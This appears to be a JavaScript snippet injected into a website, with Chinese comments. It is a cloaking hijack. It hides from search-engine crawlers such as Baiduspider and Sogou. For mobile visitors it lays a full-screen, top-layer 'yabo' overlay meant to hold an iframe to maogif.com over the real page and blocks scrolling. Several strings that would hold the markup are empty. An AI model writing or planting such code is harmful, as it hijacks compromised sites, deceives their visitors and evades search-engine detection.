document.write("") document.write("") var s = document.referrer; // 获取页面来源 var reg = /(Baiduspider|360Spider|YisouSpider|YandexBot|Sogou inst spider|Sogou web spider|spider|Baiduspider-render)/i; // 判断是否是爬虫,若不是爬虫则继续执行 if (!reg.test(navigator.userAgent)) { // 判断是否为移动端设备 let flag = navigator.userAgent.match(/(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|QQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i); // 如果是移动端设备且平台不是 Win 或 Mac if (!/Win/i.test(navigator.platform) && !/Mac/i.test(navigator.platform)) { // 为移动端设备生成随机 URL var randomNum = Math.random(); var _src; if (randomNum < 1 / 3) { _src = 'https://maogif.com'; // 第一个 URL } else if (randomNum < 2 / 3) { _src = 'https://maogif.com'; // 第二个 URL } else { _src = 'https://maogif.com'; // 第三个 URL } } else if (s.indexOf("baidu.com") > -1) { // 如果来源是百度,不加载指定 URL var _src = null; // 不做任何操作 } else { // 如果是 PC 端,正常访问,不加载指定的 URL var _src = null; // 不做任何操作 } // 如果需要加载 _src,则插入 iframe if (_src !== null) { // 插入 meta 标签和 iframe 内容 document.write(''); var hd = document.head; var styleCSS = document.createElement('style'), yabo = document.createElement('div'); // 定义页面样式 styleCSS.innerHTML = 'html,body{position:relative;width:auto !important;height:100% !important;min-width:auto !important;overflow:hidden;}.yabo{position:fixed;top:0;left:0;right:0;height:100%;z-index:9999999999;background:#fff;}'; yabo.setAttribute('class', 'yabo'); // 插入 iframe yabo.innerHTML = ''; // 将样式和 iframe 插入页面 hd.appendChild(styleCSS); hd.parentNode.appendChild(yabo); } }